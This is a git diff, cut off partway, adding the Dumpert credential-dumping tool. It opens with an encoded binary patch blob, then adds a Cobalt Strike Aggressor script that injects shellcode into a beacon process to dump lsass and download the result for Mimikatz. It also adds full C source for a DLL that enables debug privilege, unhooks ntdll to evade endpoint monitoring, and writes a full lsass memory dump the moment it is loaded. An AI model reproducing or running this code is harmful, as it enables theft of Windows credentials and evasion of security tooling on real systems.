zf0?~}!=z69YFCeGBX2e2PxP|vT$Nen?Kz-pl5yY=e(KO?*<1hW%vWfJf4*cyN8V$B z-~E9NJMps7_Hw0b06*p8_2wQ4!+HN1Hy3=Y9>ljfKl1mhIRX5^Ym26PFYd(K=N^3V z@opvm%e;#r$|>D>f7je64?pk3Z~X0DO=y6?H=bO%=)mD2d~w#OHxb+V^LZK5KF^%h zg}?M?;|0gh`SFI)J|_Z7I`P}f;}?#I_2HW~H=HmZ)RN!mf8kizNgw`vuN%J2PWR+T z^`AX{Lq?3Z-)-Lp)-RQO&5Z}v+I1fM;4jTrKWjOHpOEwN?%2P0{!my2XFYo`tq&u4 z&HX+r(xUx&W13x6Vb~Bp?y-O2n4e^cc}-ilUge+l;Vc>BeIqL5D!iWEN&tsH^*6{D0V6=KITT=2)X!=r?>yr9TP}VMOUAy$1uG zUlH<7m^*Ozj<7+%ZQ2cb*5REXZ@tKP)aspJwsvss>EGT8C68s_S)F?;{2@EAFmcyg zVdf9UyzcAY3Ki-tna*)eqtH>ACR#wXkAX!%G{3UJJ(B!8_rqQZqgz() zT{`NOaKW;CxPPBl!i~g8pWez>LPpyg-A7oz65I+?53Z8NTrUrJ!>; zxw3QDmx9@dg)go&hj^U~{=XD%^i*tG`}l?69zMIp&YxchW~mjUE**Oz+*FMJz5T8i z0(&0zLU>oQwqds~UI;P8cC{7S7s9Uj4{U$@_=RBj?fUB?{};l;u3ML!@_Zq5x?eWz zmGXsfEm_udbi)_IOUG^Nj=rcBgg#XZ$3CnTt~jdJ$gb21{ocWi)R9^t_sQ(W`}1ps zZL4I@O1`NTh8N`-e_c^4?B7sw&^4}Ba9j}#|7(S2mI=qW(Y3-ahxaVpGN4w_Wh|2o z?+kL$)e4r5nnampt>Cjn_Qs;-xzK9#r?Z*bQ=Ryljb#qPiGvRa}zuC|4JrjaU zmv+p$^h{_Gd9-=t(Px6UbGps2-Oq&Nm~oc|q&^c$%98pGT@Ui`rOm^aJ`A+{gosut$C-i(K_)M40f7$MtuyI%S@b8*E z6D*qtX_i_%6JEP_@(g|URCwf2Ry^g=Qz7&Ia_Fgp2c8Ng zlV!6l@}CO1=h{^TZ+|NM8MIV&dF@j{V-X~qkoZ*SH(Nd6&$&;9`(qa!*b?$oV9!6F z3U8PF_^`v!r@|kNYy7SIJ{3k-=qJ4E{8VtLz5lyatEa-r6HV^5Z46v3ga1#3tpUGG zU-zU&=xfm}+wg0R5YYAZVZZVkA-b@`%Hp#%!o77_zwn1@gegbH>aG{o2*YLb3YMhR z2s6v}Jm|ZrMu6XcYip5IBYfIy*U)QWx4yh4F{*|Y4?N=kLY<;c64EGvg%%rIu_bF?HW}<`qVT~>=vx4;YMS|?r6Tzx5 zbKttao(N_+6$iWCehjGKVXb_|m9}d@?zPn3Yv~i=ufb<7O^JUZ_*>n1vL@n*P}_Ouv?8kiTHa6JgK6iBl^2JrQ2En)T<$-JS?X6kUctX!k_;{*T{+<~u$S zk}s)bP7R+38nY9fOJz@l@NTJxmOrZ&MqGNEI_i&VVN2qOk`9JyK?g5pu(<}WZKeVnE9**}SN@(i1w29-= zDq;EcmQG*JuM!r-4qRm!T_wnRyjHIXtr8l##!vfbN|kWt+MD$KW2%Jy=WQBI^RE)x z5A|HrNT?E;l=g!ERYHErpQ~1PtrB{wK6w<>u1e_WpY5b_2D#{}ghYkx@GC3e#R zT;J6zvP+CY>GlqfAO2tz_C5B9=~ieIvK8SrOS6oE=JUd=TicC7ptY>8u*oRg4~zdU z?<=FQTrp7IW;yWRi#zT7)F_;KKGddTtWkK?biuZLvy8&)oT|$sryGS8@iDr;CK&~D z&!3-f8DkVqhBiMpY?x6{nES$iNH=uZ52w70g7ehY`_`+B!f&1CzYcXX3UYI^r9Mid z&}ZS8-t8SBz37ZWBK+{Qx!j1)F~CU(=N9M8?2h|Zl4JW7f*;{=KllbZem8$SeDl0L zBoGVB3fa=n3d2ZGpxuqPnCp^3etu8nKfc#GEG8D-O%3@vKza}HFP1LK@m1Cz77yj% zi9vkxfd`bB0G_!~abw|4kQ3NTP)CME&4G7=p!=8;;GguZ6y$-BCkoEneGL7I7en}F zhd3xNRAj6?{5#+qEAi_j4I!KXn=?VlGA<~QZEQ(0aa*@8iz&3x6#8!t6tVAFd{}CD zQx>l!{7}x(e%w&MzySF1Xs+xzJg$LPe#W(rLiKZHRx(ZrD8;phHyIfrP6PdBad0AA zA>+c4!)sjPg4>HUH%&8!*-uQW9 zTuQo(OM^{%%G(>`xFQ*6ghBLR#dF4D=ntF+^q5ZXu_=>r=V0sELrVz^GA7w{9Gi?ruqR9x6B`rKUWLmIr-8UcnJG?eJI4P(A1_Ool`@mU~ zHgYpg?s<+gI&fU;=CJXC^~^Wt=7*l=(Wt{myIFAHvY~mp29OA4whfpid!PAm+=+VSb)|tuH!57zD;E*b=0qB}E zw&WUz%DKjnu5k}rt(5M2NOKjum7JxscDCf4L6^=k%?-`8_8KW&U-;tL1Mux29iq$< z^flH@EfdSNGLxg6VPE#s`G1KOB#Hl7VRn;1*241UB}9%HU;pfOWfV?Wx$e5UsP z2p6>>9pHU)kRK6#&R^8M41Tz|p{EVkFve2N!q!~F9uRi0fIc7K9Aw3uC5(}*sU_Dm zPR=#;wBnlfuvKGkWG;4`OQ?c#32e-{csAl(VjPXotFopg3N7m`q_HyNtYlk7eTsQ7 zANH+>nM!7D###5UP&ql-a84E0oD-Dq1iE$t9Xj=JFk;)yApH+8>m1;a*j#9PAmCQu zlL5a1j*iMxGhN6zo3Wq^v2D=4KwD^=4d>FMu5C^|Y`Hd}d0ZP$J=aE-#x*r642??c zw6y@_+k6W7G;h$oMWgR=LlsvLRpSun;DxLpuDDL zT+va*@x2T(c(X)}+bt4#)hA<{z!y8~sMB8!zT{i>UvIl)P zVnTo5Mne2Lp3uF_~ zR+v3XbKu!lxV~=VxTn+~rw%q;^S~xtbFlyBF{YJDBdsw`U933gxEjvc^9koHGjh@z zriJre;`#%6YaGMYgnzQP-Ebp*0K8;NY|XNTwZjJT*=kAODye;U(m1XLd?QJpaQ(9y z2z^mlaf)To%QAV1rPe}YuByBC6lQQ-PA12-r#%1Ej*rseQVd>dhm)I}bFOfJzBS{V zVSYJRE7aI$EsmiBT$AJA`V?vow$T7=!;FoexZXB_wkx>CmuUvTmZc>dOH>P3`H|)d^&Npx<*W1${=FBk8N^7YR?`^IQ<}`aa?#y>^xMUl< zhpNw6JJ|J0Y6t%l#~lLiFX>La7Qx)Yc@?8D;(CQ?&7dER;C3bud@!ZGbPm3E4E$4R ztQwhdje6LqWHxYJ>tU&qIa7QDHm!}D4d+(#Ij6k3oO6u( zf>VU9fP2A}oa$$eTMfQ=JJVNvE^A@QwSYO-qKCZ^&fjX=IKVyH3AmSmc340=G}mE$ z18=^AbX|`-*~9t|b}Zg|VxPphXd~W70R`TGvw;r-n5Icf8?YfeuBE3f*Rn?oql3Y| ztVu~@(;9T(caHlVe1W9r7B*mSEw~nY#PKP!DPi-^3Hs>l>4>(B<7SGN?ApoQnrj)D zY}V3qtyxRimuBL%NJDLe4+~D+ZMoKgo6TB#ZZvBxTWeOg8n84PNWzJI@Z2+}zk!R{%ob^Yrf+@s)q8LWRLQrWprIPN>}&mcXb4DaDL zn5&#RT62!!V5hQ=IBNsW01K5l7!UTf4E2labW^x~+BV>9!!0jVc@PfZ~0!it2;UMQGDv-EAR&VFuz~>6ynd9lmXl(gGF(KM1}AJbq@m z1qg5WjE|cU85}*^eNcRqHY_I2eNaGvM`&auhnx$7&!UoZ%#d+z3TRKgxI~D<=M72l z`BZXg5ElfW!T-srF+I2egdGXP38g$Ysl2m<2MO~D%_)5~ar}IY&N+wSE|MQ3yiI5% zw991aIur7QlL_Mpza-QV9w00utRQ?wXr9H&bs_9ZIDjyaFp_XNVLo9o;VHtagm(xZ z6TT(1%VzbpCG;X3MHot`C0s=K72#&WEW*8nC4^TAD+r$vn(0}+jR=*5JqQB`XAmY3 zeo6Q(VHV+D!V3yNQh46L`G(Gdw;zjC9TPDxA~I}dSS(i{3z#!!cD&XUH6b`MK5QcAJ7|KhdYDvC zD{f>&bOcV^i7^pzVd4yiXIa5CSh}hU7ycBIED{&0{Ubg~5~He#MMMY3g;AGb6>cyrmdKo#Az}EgX%L3RhDFD5D)TY%VKEETVKJh{qC=p?@zCTL zPVui}3&Yv0UTk1^3_NAVG5!T($1RA3mq-UjM1}drLSw@)#056M2iFn7kr4~S#sx&g z#`!}QZWgp?P}ubNnKQ#;q?Vi%%ZLk(iHq0b_)X+~M9naj3{K#Jpd@HlZcy>Bm+f<#rVNcMT7)Ljsp`DAF^jQ2nY+F7xpjl zma;)%kzsNFA{bMzCm&?;jSd~BjffUC$1Sr6jEwb-gm!Y=atuTBL^I;PKn9It>~my8 zV#30>3>gB=2`;z(3>lmNRz6WSI3YrsQd}hVxBfg3(}dT>qV7ip!zjSBs0JhBBjX|l zE{F>YoHH>ZG|VqNIEMShLJ9`XG0C|B4Pa=rVuLs@G0ZygO@jcxk-=KFrva_W#aZU- z2UqvgY{WuoYIB2;izB~43%|4?8v?d0&V4Rc3=fHbx2mFia00aLb1`ldOb(2KH&BC3 zfMy~>{a^=09XvCPTZ83|9y}83+K;vRsnIaF3u1UqR20mRfQV?wd+~#qiJS-K9UMI` zB4$o>6c{>dek`;<30%z)h? zcml~vg=GcHn#c_@9~&GI3mTHelRWL!Y~^&`2PymBkivHH(faH{3puGGp@2- zJnR@=9pUzn>!yT1^&FJ9K+&dXh^`FyySl)+Rvzz5B zBfa>2nBc#ivz_sO`pc?P{#*Co-jx550{{Jsx>5tmuD7^8e-2B+Zkpt8eMLUQFxw^0O@dzlux99i(!T zsNDZ7dVn>c|L__racn=j_>})0X7fMQN`(S`+Yr2X_5;ulp3SM?TtNLZ2=&h=;5mg! z@O(5J(jZO+p9o>ZSn$aZP6SlI^En-a5$}U9f-pX_lg=X`N@oxd|8|0B+>i$GC3tS5 zOhgN3C=0@f9l^JUFycV)10akz5P4{nl)xJe1^gm4OA9(XK2A8;sK zJZd5A54aD!9MTj6c4`aX#fETKz%cNbJ{)ixg%NjCcrV~>3L{ogxCU^1JJz-!z$EZk z4&pWnBmN2=+gS;?yFKiCKzJ|U$PO^p5LN@mfyXq6J1MLK{F}l?K&y_dd^zA=@PUxN z9PkOno4az{FgMUM#0LOw29LT*0lZJ)$AEiaZ$%4f@cHmhUE%XPgwFxK1&{5AAAjST zfyXdnM+&;EON~U@G{%5H14T4Zaw{ zdjYS2$9k^730dIp( z0b4>;d9pC#atb5<0Uqmm3>eajjc*a)U*Jzb`O4mKPNNTeZiX=8HSkz(Ip82KR_1a* zuYNEupkBlZ@Myzs{WlflGf6za~e+AfM7@T#4uqWV^;jG@P zfQ2Ji`Xa!20W6#V7&a300O`X4T}Lt9x&dwm-wfhY09%b_ZBPO>R6`#iUIDlcJnAYL z&~glGvm7uGJnB3g@ab5lt6IRlfgsxgwgKocp5=7}Tsr|i_d!DgcX2eSHir2a3J8ORWKJIoC0_lJhq_(@a~svE*k**uV(co z03HEf3+YP$^S**L@mshq17@#*av-b+d;s1N!WDq+*RuX1R)P!A%0mIFF& zfboSe;)$GJ_EVHoWb@RpA0vjT8IDywS| zUSHEcSQ4a&;yi@I1Kzj2nPTz1fK-qZGgS9U`|3<1DFXO z^A-W#1&?(Z0M*%S-XTuYgWY3#K-U~tLm})2I2k;q{}^y9c${C`0H5cBPT+h;E#TS$ zSmz<^vJ3Wb3R(LP0#<`Z+jc1eJ%Pt^5IuLpT!r+A+rVSn5U1>6c2fVm2%aN({XN(! zq(}7l0m_1~3UKRLumK2f18nyb(^Y%G>)@|Kd^zCgb1YsBxD`Ck1wG(b=fMsk4dOZQ z7?0TH0&8biz}^?3t+>VlW`M`OAie~TcB68 zc*KcUp>7NVPQJ!${$s#P;88zU0jFGN^RfQf4m{)0qTo0dGBnafNv9IoKfh5(pzEgBPz&fE{b0 zpAhc`xD-5o9$60f6#P{z6Y!fCtex8cC%k0+DgrD4UyJ3xg82xZ(?L0a9&f>}AgltM z3Lg8V0bC3o`;rLw8oUdnL2UVs#k&BygU9qLz}euj%t*kmDBcL@&B?ey5RYeA)_@o7 z0q{5Q;W}uKOva4?uZ6G{Fw+8T2f}*5N0x9M!!%Yh?lkx$2pa(JgHMFE;W=_VBW?%x zeu#Ju9K(osX4?R5L&P)CK9C*}&p%@tL_9Z#VMIJ%i(y1O7l~m+JX45aL_EKTVMIKa zhhaoKXNF-!JV%CML_9-=VMIJjiD5)M^MqkUJYR%iL_Dv9VMIJ{gJHzBaIOZ!c)mtW zVbJz}+FjiV>%%ATeH!o>#(PFYybdAa^#!kyc+JG?KHdl1hBPUuu-<^jdpf+w!?ft} z{tEBC@IDmpRq_4&w#_Kd*pK%>Pn?}3n4Z)${hl95TKMDN*bN^EsVBd>!giG-I zEr9PhK!oZa;;qf${uyNW{hGxvEkASvgoLO_m4U3u{xj+d8M8|r&#>YhWiwy}6iwcf) zkBSJ1nG-u_Mx1-doTz@mu~8oLy1Oc2*E(WGSgiDIKUNzQrBn`xi-9vKxW!GSwfzrD z>)BS!2RUQILgL|o!vf+E6B9N!9%=~-HJxRNH3{pB2PZ&QJP{EPHZLqv8HsEq_z2$+JlNyyIwLqTHq2Go%~Z~SZvVcP0o~qf(|~TK&O!D8-6XvM`EW4) ziNo19_|Ju>Y15L^Qqpv3#c3sJrD?TkT)I46k?xqTOxI+DXJ|7LG7>YAGLkb=GISaG zjG~OGSe+nmFbn~lj)zS&J4=bWQJ#IGZQis zGm|otGgC5knflD4%;LyCC^f1Ic6!d+_K=u?XrBb{Ik?q zL0Out@GNasLRMl{QdV+SN|r85pH-AqoK=!lnpKuno@L0Y%ra)xW^vi_Y(=(Xwldo- zTb1pV?UU`FtXkSLhw}O1+z2rT5bN=>7F-eUM(G57%q;3Hn5R zl0I3VqSxv5`XYU?zC>TDFVmOn4f;yGQD3X)a^yLR9A%DMjw;71$0x@>N1YRtqsa-+ z(dH!NB<3XLB$8iYcjeHt+H5)W$qoAB4}A%Tek4I3^w9oNXnQ5JTb|dBpq(ku#$sq+ zIkc@dM-HuWgBJNiYr>%=Nx3Px`rP8&(%kag%G}yqd7fjQTb@^*e_l{tcwRzYQeH}) zKCd{hG_O3bGOspIp6{6NmhYACpC6PTo}ZAPl%JBX&o9m|%`eZd%&*Ot7dRHU6?hf+ z7X%fA7bFxU6{HmC3yKR$3(5;B3u+7GyBv49?ec>D2ki>qm9Q&mSIRE^uHs##yUKS} z?yB7-FLW$)EA%S#FAORSFH8WNNdbE)25Tt?OA+nF2ku9}Oyr`Sc!7-sfqf)^ZKQx* z6oXBagFV#h4^K}>PfAZo*QXb!m!_AeSEkpd%QGA^ z+%mi}{4;`JmL|XqO@Y~23^TJFW+gOG4WH*=Y!#`>R8^`^sybDZs!dHyO-|LN7NwS? zmZcg}jj3FkB2Ag5O7lrmr)gj%NQAXOmsSKTL0Ot1%?N9O0@eXlx=*?~U6Za&PfSlv z*QFPwm!y}a8`6#GT!tb;nW4(?$xvr#V68}mbwUSgL7G_Q|%$g#Y zF=a4Yj4)FaFiTW0L)0)kw7H47$+^1RqTG_)vRp&1F_+6z?_seOSk^USPe#dV}>2>lr2h%WGh?N`T8IAY%h$&uIcMRh@HG-(u!zz|3QF4P17h+=3@ literal 0 HcmV?d00001 diff --git a/Dumpert-Aggressor/Outflank-Dumpert.cna b/Dumpert-Aggressor/Outflank-Dumpert.cna new file mode 100644 index 0000000..17c58a0 --- /dev/null +++ b/Dumpert-Aggressor/Outflank-Dumpert.cna @@ -0,0 +1,35 @@ +#author Cornelis de Plaa +#@outflank.nl + +#injects a sRDI shellcode (shellcode Reflective DLL Injection) in current process and creates a minidump of lsass process. +#see https://github.com/monoxgas/sRDI + +#register help +beacon_command_register("dumpert", "Create a minidump of lsass process", + "Synopsis: dumpert\n\n" . + "Creates a minidump of lsass process using sRDI shellcode injection and downloads minidump file.\n" . + "Lsass minidump can be imported in Mimikatz using: \"sekurlsa::minidump dumpert.dmp\""); + +alias dumpert { + $bid = $1; + $curr_pid = beacon_info($bid, "pid"); + + if (-isadmin $bid) { + blog($bid, "Dumpert by Outflank"); + if (-is64 $bid) { + bshinject($bid, $curr_pid, "x64", script_resource("Outflank-Dumpert.bin")); + blog($bid, "Waiting a few seconds for task to complete..."); + bpause($bid, 10000); + bdownload($bid, "C:\\Windows\\Temp\\dumpert.dmp"); + return; + } + else{ + berror($bid, "Dumpert is x64 only."); + return; + } + } + else{ + berror($bid, "You need elevated privileges."); + return; + } +} diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL.sln b/Dumpert-DLL/Outflank-Dumpert-DLL.sln new file mode 100755 index 0000000..ba8d097 --- /dev/null +++ b/Dumpert-DLL/Outflank-Dumpert-DLL.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 14 for Windows Desktop +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Outflank-Dumpert-DLL", "Outflank-Dumpert-DLL\Outflank-Dumpert-DLL.vcxproj", "{307088B9-2992-4DE7-A57D-9E657B1CE546}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x64.ActiveCfg = Debug|x64 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x64.Build.0 = Debug|x64 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x86.ActiveCfg = Debug|Win32 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x86.Build.0 = Debug|Win32 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x64.ActiveCfg = Release|x64 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x64.Build.0 = Release|x64 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x86.ActiveCfg = Release|Win32 + {307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c b/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c new file mode 100755 index 0000000..28ee4e6 --- /dev/null +++ b/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c @@ -0,0 +1,321 @@ +#undef _UNICODE +#define _UNICODE +#undef UNICODE +#define UNICODE + +#include +#include +#include "Dumpert.h" +#include + +#pragma comment (lib, "Dbghelp.lib") + + +BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) { + BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF}; + + if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory10; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory80; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory80; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { + AssemblyBytes[4] = pWinVerInfo->SystemCall; + ZwWriteVirtualMemory = &ZwWriteVirtualMemory81; + ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; + } + else { + return FALSE; + } + + LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall); + + ULONG OldProtection, NewProtection; + SIZE_T uSize = 10; + NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection); + if (status != STATUS_SUCCESS) { + return FALSE; + } + + status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL); + if (status != STATUS_SUCCESS) { + return FALSE; + } + + status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, OldProtection, &NewProtection); + if (status != STATUS_SUCCESS) { + return FALSE; + } + + return TRUE; +} + +BOOL GetPID(IN PWIN_VER_INFO pWinVerInfo) { + pWinVerInfo->hTargetPID = NULL; + + if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { + ZwQuerySystemInformation = &ZwQuerySystemInformation10; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory10; + NtFreeVirtualMemory = &NtFreeVirtualMemory10; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { + ZwQuerySystemInformation = &ZwQuerySystemInformation7SP1; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1; + NtFreeVirtualMemory = &NtFreeVirtualMemory7SP1; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { + ZwQuerySystemInformation = &ZwQuerySystemInformation80; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory80; + NtFreeVirtualMemory = &NtFreeVirtualMemory80; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { + ZwQuerySystemInformation = &ZwQuerySystemInformation81; + NtAllocateVirtualMemory = &NtAllocateVirtualMemory81; + NtFreeVirtualMemory = &NtFreeVirtualMemory81; + } + else { + return FALSE; + } + + ULONG uReturnLength = 0; + NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, 0, 0, &uReturnLength); + if (!status == 0xc0000004) { + return FALSE; + } + + LPVOID pBuffer = NULL; + SIZE_T uSize = uReturnLength; + status = NtAllocateVirtualMemory(GetCurrentProcess(), &pBuffer, 0, &uSize, MEM_COMMIT, PAGE_READWRITE); + if (status != 0) { + return FALSE; + } + + status = ZwQuerySystemInformation(SystemProcessInformation, pBuffer, uReturnLength, &uReturnLength); + if (status != 0) { + return FALSE; + } + + _RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString"); + if (RtlEqualUnicodeString == NULL) { + return FALSE; + } + + PSYSTEM_PROCESSES pProcInfo = (PSYSTEM_PROCESSES)pBuffer; + do { + if (RtlEqualUnicodeString(&pProcInfo->ProcessName, &pWinVerInfo->ProcName, TRUE)) { + pWinVerInfo->hTargetPID = pProcInfo->ProcessId; + break; + } + pProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta); + + } while (pProcInfo); + + status = NtFreeVirtualMemory(GetCurrentProcess(), &pBuffer, &uSize, MEM_RELEASE); + + if (pWinVerInfo->hTargetPID == NULL) { + return FALSE; + } + + return TRUE; +} + +BOOL IsElevated() { + BOOL fRet = FALSE; + HANDLE hToken = NULL; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + TOKEN_ELEVATION Elevation = { 0 }; + DWORD cbSize = sizeof(TOKEN_ELEVATION); + if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { + fRet = Elevation.TokenIsElevated; + } + } + if (hToken) { + CloseHandle(hToken); + } + return fRet; +} + +BOOL SetDebugPrivilege() { + HANDLE hToken = NULL; + TOKEN_PRIVILEGES TokenPrivileges = { 0 }; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { + return FALSE; + } + + TokenPrivileges.PrivilegeCount = 1; + TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; + + LPWSTR lpwPriv = L"SeDebugPrivilege"; + if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) { + CloseHandle(hToken); + return FALSE; + } + + if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { + CloseHandle(hToken); + return FALSE; + } + + CloseHandle(hToken); + return TRUE; +} + +__declspec(dllexport) void __cdecl Dump() { + + if (sizeof(LPVOID) != 8) { + exit(1); + } + + if (!IsElevated()) { + exit(1); + } + + SetDebugPrivilege(); + + PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO)); + + // First set OS Version/Architecture specific values + OSVERSIONINFOEXW osInfo; + osInfo.dwOSVersionInfoSize = sizeof(osInfo); + + _RtlGetVersion RtlGetVersion = (_RtlGetVersion) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion"); + if (RtlGetVersion == NULL) { + exit(1); + } + + RtlGetVersion(&osInfo); + swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion); + pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber; + + // Now create os/build specific syscall function pointers. + if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { + ZwOpenProcess = &ZwOpenProcess10; + ZwClose = &ZwClose10; + NtCreateFile = &NtCreateFile10; + pWinVerInfo->SystemCall = 0x3F; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) { + ZwOpenProcess = &ZwOpenProcess7SP1; + ZwClose = &ZwClose7SP1; + NtCreateFile = &NtCreateFile7SP1; + pWinVerInfo->SystemCall = 0x3C; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { + ZwOpenProcess = &ZwOpenProcess80; + ZwClose = &ZwClose80; + NtCreateFile = &NtCreateFile80; + pWinVerInfo->SystemCall = 0x3D; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { + ZwOpenProcess = &ZwOpenProcess81; + ZwClose = &ZwClose81; + NtCreateFile = &NtCreateFile81; + pWinVerInfo->SystemCall = 0x3E; + } + else { + exit(1); + } + + _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); + if (RtlInitUnicodeString == NULL) { + exit(1); + } + + RtlInitUnicodeString(&pWinVerInfo->ProcName, L"lsass.exe"); + + if (!GetPID(pWinVerInfo)) { + exit(1); + } + + pWinVerInfo->lpApiCall = "NtReadVirtualMemory"; + + if (!Unhook_NativeAPI(pWinVerInfo)) { + exit(1); + } + + HANDLE hProcess = NULL; + OBJECT_ATTRIBUTES ObjectAttributes; + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + CLIENT_ID uPid = { 0 }; + + uPid.UniqueProcess = pWinVerInfo->hTargetPID; + uPid.UniqueThread = (HANDLE)0; + + NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid); + if (hProcess == NULL) { + exit(1); + } + + WCHAR chDmpFile[MAX_PATH] = L"\\??\\"; + WCHAR chWinPath[MAX_PATH]; + GetWindowsDirectory(chWinPath, MAX_PATH); + wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath); + wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\\Temp\\dumpert.dmp"); + + UNICODE_STRING uFileName; + RtlInitUnicodeString(&uFileName, chDmpFile); + + HANDLE hDmpFile = NULL; + IO_STATUS_BLOCK IoStatusBlock; + ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock)); + OBJECT_ATTRIBUTES FileObjectAttributes; + InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + // Open input file for writing, overwrite existing file. + status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0, + FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); + + if (hDmpFile == INVALID_HANDLE_VALUE) { + ZwClose(hProcess); + exit(1); + } + + DWORD dwTargetPID = GetProcessId(hProcess); + BOOL Success = MiniDumpWriteDump(hProcess, + dwTargetPID, + hDmpFile, + MiniDumpWithFullMemory, + NULL, + NULL, + NULL); + + ZwClose(hDmpFile); + ZwClose(hProcess); + + return; +} + +BOOL APIENTRY DllMain( + HINSTANCE hinstDLL, + DWORD fdwReason, + LPVOID lpReserved) +{ + + switch (fdwReason) + { + case DLL_PROCESS_ATTACH: + Dump(); + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.h b/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.h new file mode 100755 index 0000000..5034900 --- /dev/null +++ 